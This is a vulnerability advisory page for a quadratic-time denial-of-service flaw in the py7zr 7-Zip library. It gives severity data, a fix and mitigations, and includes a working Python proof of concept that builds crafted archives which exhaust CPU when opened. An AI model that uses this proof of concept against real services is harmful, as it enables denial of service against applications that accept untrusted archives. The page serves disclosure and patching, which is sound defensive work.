Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network input parsed with low complexity and no interaction (AV:N/AC:L/PR:N/UI:N); only availability is affected via CPU exhaustion, so C:N/I:N/A:H with scope unchanged.
Primary rating from Vendor (https://github.com/miurahr/py7zr).
CVSS VectorVendor: https://github.com/miurahr/py7zr
Lifecycle Timeline
6Blast Radius
ecosystem impact- 414 pypi packages depend on py7zr (253 direct, 165 indirect)
Ecosystem-wide dependent count for version 1.1.3.
DescriptionCVE.org
Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() - no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction.
Suggested fix - replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
import py7zr
from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v):
buf = io.BytesIO()
write_uint64(buf, v)
return buf.getvalue()
def build_7z_with_streams(numstreams):
header = io.BytesIO()
header.write(PROPERTY.HEADER)
header.write(PROPERTY.MAIN_STREAMS_INFO)
header.write(PROPERTY.PACK_INFO)
header.write(encode_uint64(0))
header.write(encode_uint64(numstreams))
header.write(PROPERTY.SIZE)
for _ in range(numstreams):
header.write(encode_uint64(1))
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF))
out.write(start_header)
out.write(header_data)
return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]:
archive = build_7z_with_streams(n)
start = time.time()
try:
with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
pass
except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
pass
elapsed = time.time() - start
print(f"n={n:6d} size={len(archive):8d} bytes
time={elapsed:.3f}s")Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
AnalysisAI
Denial of service in py7zr (a pure-Python 7-Zip library) versions 1.1.2 and earlier lets a remote, unauthenticated attacker exhaust CPU with a tiny crafted .7z archive. The flaw is in header parsing (PackInfo._read), so merely opening the archive with SevenZipFile() - no extraction - triggers the cost; a ~50 KB file consumes roughly 7 seconds of CPU. Publicly available exploit code exists (PoC published in the GHSA advisory), but there is no active exploitation identified and it is not listed in CISA KEV.
Technical ContextAI
py7zr is a widely used pure-Python library for reading and writing 7-Zip archives, commonly embedded in file-processing pipelines, malware sandboxes, backup tooling, and upload handlers. The root cause is CWE-407 (Inefficient Algorithmic Complexity): PackInfo._read() in archiveinfo.py builds pack positions with 'self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]'. Because each iteration re-sums the list from the beginning, the loop is O(n^2) in numstreams, a value read directly from the attacker-controlled archive header via read_uint64(). The vendor fix replaces this with an O(n) cumulative sum using itertools.accumulate and enforces a limit on the parsed parameter. The affected package is identified by CPE pkg:pip/py7zr.
RemediationAI
Vendor-released patch: upgrade to py7zr 1.1.3 or later (fix confirmed at https://github.com/miurahr/py7zr/releases/tag/v1.1.3 and advisory GHSA-h4gh-22qq-72r7); the patch both caps the parsed numstreams parameter and replaces the O(n^2) computation with an O(n) accumulate. Note that 1.1.3 also fixes CVE-2026-23879 (arbitrary file write) and CVE-2026-55195 (decompression-bomb DoS), so upgrading closes three issues at once. If immediate upgrade is impossible, restrict which archives reach py7zr: reject or size-limit .7z uploads from untrusted sources, and run archive parsing in a sandboxed worker with a strict CPU-time/timeout limit (for example a subprocess killed after a few seconds) so a single malicious header cannot pin a request thread; rate-limit archive-processing endpoints. The trade-off is added operational complexity and possible rejection of unusual but legitimate archives, so upgrading remains the clean fix.
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Same weakness CWE-407 – Inefficient Algorithmic Complexity
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-42397
GHSA-h4gh-22qq-72r7